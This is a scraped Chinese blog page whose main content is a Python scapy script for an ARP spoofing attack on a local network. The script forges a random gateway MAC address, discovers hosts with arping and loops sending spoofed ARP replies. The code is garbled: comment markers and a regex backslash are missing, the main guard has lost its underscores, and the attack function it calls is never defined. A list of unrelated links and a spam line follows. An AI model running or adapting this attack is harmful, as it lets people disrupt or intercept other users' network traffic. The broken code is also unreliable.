from scapy.all import ARP,send,arping

import sys,re,random,time

stdout=sys.stdout

ip

IPADDR="192.168.1.102"

网关

gateway_ip="192.168.1.1"

tmp=[]

伪造网关mac地址

for i in range(0,6):

tmp.append(str("%02x"%random.randint(0x01,0xfe)))

gateway_hw=':'.join(tmp)

p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)

def get_host():

得到在线主机的mac地址和对应ip地址

hw_ip = {}

sys.stdout = open('host.info','w')

arping(IPADDR)

sys.stdout = stdout

f = open('host.info','r')

info = f.readlines()

f.close

del info[0]

del info[0]

for host in info :

temp = re.split(r's+',host)

hw_ip[0]=temp[1]

hw_ip[1]=temp[2]

return hw_ip

if name == "main":

hw_ip = get_host()

while 1 :

arp_hack(hw=hw_ip[0],ip=hw_ip[1])

python网络攻击代码_Python-python网络编程写arp攻击代码相关推荐

  1. python的多线程和多进程网络编程

    二十八.python的多线程和多进程网络编程 线程和进程关系: 进程是具有独立功能的程序,进程是系统进行资源分配和调度的一个独立单位 线程是进程的一个实体,是cpu调度的基本单位,它是比进程更小的能独 ...

  2. 怎么才能学好Java编程写好Java代码?

    动力节点Java培训最新上线Java实验班,等你来测试自己适不适合学习Java编程哦! 刚刚接触Java编程的朋友总会遇到一些情况,比如:跟着Java基础教程看过一遍后,自己写代码的时候却无从下手:写 ...

  3. Linux网络编程组播测试代码

    Linux网络编程组播测试代码 (转载) 组播客户端代码如下: #include <sys/types.h> #include <sys/socket.h> #include ...

  4. python电脑攻击_python写的ARP攻击代码实例 -电脑资料

    注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 复制代码代码如下: #coding:utf-8 #example :sudo ...

  5. python基于udp的网络聊天室再用tkinter显示_Python实现网络聊天室的示例代码(支持多人聊天与私聊)...

    实验名称: 网络聊天室 功能: i. 掌握利用Socket进行编程的技术 ii. 掌握多线程技术,保证双方可以同时发送 iii. 建立聊天工具 iv. 可以和单人聊天 v. 可以和多个人同时进行聊天 ...

  6. python网络编程实战_Python 异步网络编程实战

    近年来 Python 的发展的非常迅速,"简单"."高效"是 Python 吸引人的一大特色.在国内 Python 开发需求越来越大,Python 具有丰富强大 ...

  7. python网络编程爬虫_Python爬虫--网络编程

    Python 网络编程 Python提供两个基本的Socket模块: Socket,提供了标准的BSD Sockets API SocketServer, 提供了服务器中心类,可以简化网络服务器的开发 ...

  8. Python学习-基础篇7 网络编程

    #pytho 基础之socket编程 一 客户端/服务器架构 1.硬件C/S架构(打印机) 2.软件C/S架构 互联网中处处是C/S架构 如黄色网站是服务端,你的浏览器是客户端(B/S架构也是C/S架 ...

  9. Python面向对象进阶和socket网络编程

    写在前面 为什么坚持?想一想当初: 一.面向对象进阶 - 1.反射补充 - 通过字符串去操作一个对象的属性,称之为反射: - 示例1: class Chinese:def __init__(self, ...

最新文章

  1. bzoj1079: [SCOI2008]着色方案(DP)
  2. troubleshoot之:使用JFR分析性能问题
  3. 使用Ping命令解析主机名解析出来的是IPv6
  4. 智能运维究竟能为DBA带来什么?听听4位专家怎么说
  5. ASP.NET Core学习——5
  6. 十行代码实现十亿图片检索,我们把它开源了
  7. iptables 之 REJECT 与 DROP 对比
  8. 【C语言】22-枚举
  9. STLINK 烧写器引脚定义
  10. 【100+ python基础入门-26】python修改列表元素方法
  11. 基于ANT+通讯协议软件开发环境搭建
  12. 开启愉快的路由之旅:广工校园网Wifi
  13. 一个资深程序员看12306(四)
  14. 社区社群运营,如何打造火爆营销的方法?
  15. 2018年宇视科技智能交通-嵌入式软件开发线上笔试题
  16. android的热修复,Android热修复之
  17. js 图片转base64的方式
  18. python自适应图片大小_pixmap和label设置图片自适应大小
  19. 规则引擎在数据治理平台的实践
  20. 海量传感数据管理系统功能要求与总体结构

热门文章

  1. 新架构让数据中心犹如PC
  2. GCC常用选项使用详解
  3. M-JPEG、MPEG4、H.264都有何区别 依维安防论坛
  4. springCloud - 第9篇 - 同步配置文件(消息总线方式)
  5. apache 官方 Dubbo 文档
  6. Spring事务配置的五种方式和spring里面事务的传播属性和事务隔离级别、不可重复读与幻读的区别
  7. Lambda表达式使用2
  8. UValive4195 Heroes of Money and Magic
  9. CI框架--加载静态内容
  10. 西宁a货翡翠,孝感a货翡翠